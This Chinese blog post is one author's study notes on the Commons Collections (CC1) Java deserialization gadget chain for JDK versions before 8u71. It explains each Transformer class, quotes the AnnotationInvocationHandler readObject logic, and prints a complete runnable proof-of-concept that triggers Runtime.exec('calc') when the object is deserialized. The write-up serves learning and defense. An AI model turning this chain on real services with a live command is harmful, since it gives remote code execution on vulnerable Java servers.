首页 > 编程语言 >[Java反序列化]JavaCC链学习(8u71前)

[Java反序列化]JavaCC链学习(8u71前)

时间:2022-11-06 18:39:00浏览次数:74  
标签:Transformer Java Object JavaCC Class new import 序列化 class


文章目录

  • ​​写在前面​​
  • ​​前置​​
  • ​​Transformer​​
  • ​​TransformedMap​​
  • ​​ChainedTransformer​​
  • ​​InvokerTransformer​​
  • ​​ConstantTransformer​​
  • ​​CC链分析​​
  • ​​参考链接​​

写在前面

仅仅只是前置知识,感谢P神,让我接触到了新的东西,下面是P神的知识星球https://govuln.com/?page=4

前置

要了解这个链子,必须要知道下面几个Transformer

Transformer

能看到这是一个接口,有一个待实现的方法​​Transformer​​,表面意思我们理解为执行转变的方法

[Java反序列化]JavaCC链学习(8u71前)_apache


​ConstantTransformer​​​,​​invokerTransformer​​​,​​ChainedTransformer​​​,​​TransformedMap​​都实现了Transformer接口

TransformedMap

在网上直接百度这个看到的最多的就是反序列化,可见其对反序列化的利用多么重要;​​TransformedMap​​​⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调(⼀个实现​​Transformer​​​接⼝的类),而当​​TransformedMap​​​对象执行​​setValue​​​方法时会调用​​valueTransformer​​​的​​transform​​​方法,因此,如果传入的​​valueTransformer​​​是​​ChainedTransformer​​的对象,不就可以造成恶意代码执行了?当然这个我们马上说

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

InvokerTransformer

构造函数接收了三个参数

[Java反序列化]JavaCC链学习(8u71前)_构造函数_02


我们接下来再去看看其​​transform​​方法,不难看出是利用反射去调用方法

[Java反序列化]JavaCC链学习(8u71前)_构造函数_03

ConstantTransformer

在构造函数的时候传⼊⼀个对象,并在调用​​transform​​将这个对象返回

[Java反序列化]JavaCC链学习(8u71前)_apache_04

CC链分析

首先是最上方的

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};

分析这里的调用过程,我们知道​​ConstantTransformer​​​会直接返回传入的对象,而对于​​InvokerTransformer​​来说,不想往上翻,再把代码贴一遍,

[Java反序列化]JavaCC链学习(8u71前)_java_05


最终为

package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class kkk {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

通过​​TransformedMap.decorate​​​的修饰。之后在调用​​setValue​​​设置值的时候就会触发​​TransformedMap​​​里注册的​​Transform​​​方法,关键是在于这个类就是 ​​sun.reflect.annotation.AnnotationInvocationHandler​​​ ,我们查看它的​​readObject​​​ 里面调用了​​setValue​​(8u71以前版本)

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
}
}
}

而​​sun.reflect.annotation.AnnotationInvocationHandler​​​是在​​JDK​​​内部的类,不能直接实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。但是我不清楚为什么要使用​​Retention.class​​,看网上对这个的介绍是

Retention(保留)注解说明,这种类型的注解会被保留到那个阶段. 有三个值:
1.RetentionPolicy.SOURCE —— 这种类型的Annotations只在源代码级别保留,编译时就会被忽略
2.RetentionPolicy.CLASS —— 这种类型的Annotations编译时被保留,在class文件中存在,但JVM将会忽略
3.RetentionPolicy.RUNTIME —— 这种类型的Annotations将被JVM保留,所以他们能在运行时被JVM或其他使用反射机制的代码所读取和使用.

看了P神笔记才知道还有一个需要注意的一点是​​var7​​​不能为​​null​​,如何满足这个条件

sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须为Annotation的子类,并且其中必须有一个方法,假设为X
被TransformedMap修饰的Map当中必须有键名为X的元素

不过,感觉这个链子不太好利用,这个版本似乎没多少人用,作为初学者的我来说却很好!!!继续加油!!!

参考链接

​https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/​​​​

​https://www.sohu.com/a/199696927_354899​​​ ht
https://govuln.com/?page=4



标签:Transformer,Java,Object,JavaCC,Class,new,import,序列化,class
From: https://blog.51cto.com/u_15847702/5827472

相关文章

  • Java 线程池之ThreadPoolExecutor学习总结
    前提javaversion"1.8.0_25"池简述软件开发活动中,我们经常会听到数据库连接池、内存池、线程池等各种“池”概念,这些“池”到底是什么东西呢?程序的世界里,我们可以将池简单......
  • Java 线程池之ThreadPoolExecutor学习总结
    前提javaversion"1.8.0_25"池简述软件开发活动中,我们经常会听到数据库连接池、内存池、线程池等各种“池”概念,这些“池”到底是什么东西呢?程序的世界里,我们可以将池简单......
  • JavaScript 学习-50.实现页面菜单拖放(Drag 和 Drop)
    前言拖放是一种常见的操作,即抓取对象以后从一个位置拖到另一个位置。在HTML5中,拖放是标准的一部分,任何元素都能够拖放。拖放(Drag和Drop)在拖曳操作中,被拖曳的元素称做源......
  • Java学习File类的判断和获取功能
    方法名说明publicbooleanisDirectory()测试此抽象路径名表示的File是否为目录publicbooleanisFile()测试此抽象路径名表示的File是否为文件publicbooleanexists()测试......
  • 自学Java的学习步骤与基本态度
     一般来说,刚开始学Java,需要掌握的基础并没有那么多,但是却需要牢牢掌握。如:Java数据类型、String基本类型封装类、MySQL等基础知识,属于必备技能,不论你是什么目的学习Java,此......
  • PyCharm在Linux安装出现报错-Java Runtime (class file version 55.0)
        在Linux桌面下安装PyCharm的时候出现如下报错root@ubuntu:~#cdpycharm-community-2021.1.1root@ubuntu:~/pycharm-community-2021.1.1#lsbinclas......
  • SAP Java Connector 正常运行所需的网络配置
    SAPJCO在本地安装成功并且将目录加到PATH环境变量后,运行命令行:java-jarsapjco3.jar如果看到下列弹出窗口,说明JCO配置成功。JCo使用基于TCP/IP的CPI-C协议......
  • JAVA开发搞了一年多的大数据,究竟干了点啥
    JAVA开发搞了一年多大数据的总结​ 2021年7月份加入了当前项目组,以一个原汁原味的Java开发工程师的身份进来的,来了没多久,项目组唯一一名大数据开发工程师要离职了,一时间一......
  • 最新版Jenkins(jdk11)-----JAVA项目使用低版本jdk编译的解决办法
    背景开源Devops工具Jenkins宣布:从6月28日发布的Jenkins2.357和即将发布的9月LTS版本开始,Jenkins最低需要Java11。所以,你懂得,很坑,项目只是jdk1.8解决......
  • java IO流
    java文件创建:(1)第一种创建方式(2)第二种创建方式 (3)第三种创建方式  (4)文件信息的查询操作  (5)文件夹的创建file.mkdir()创建文件夹成功返回true,失败返回false......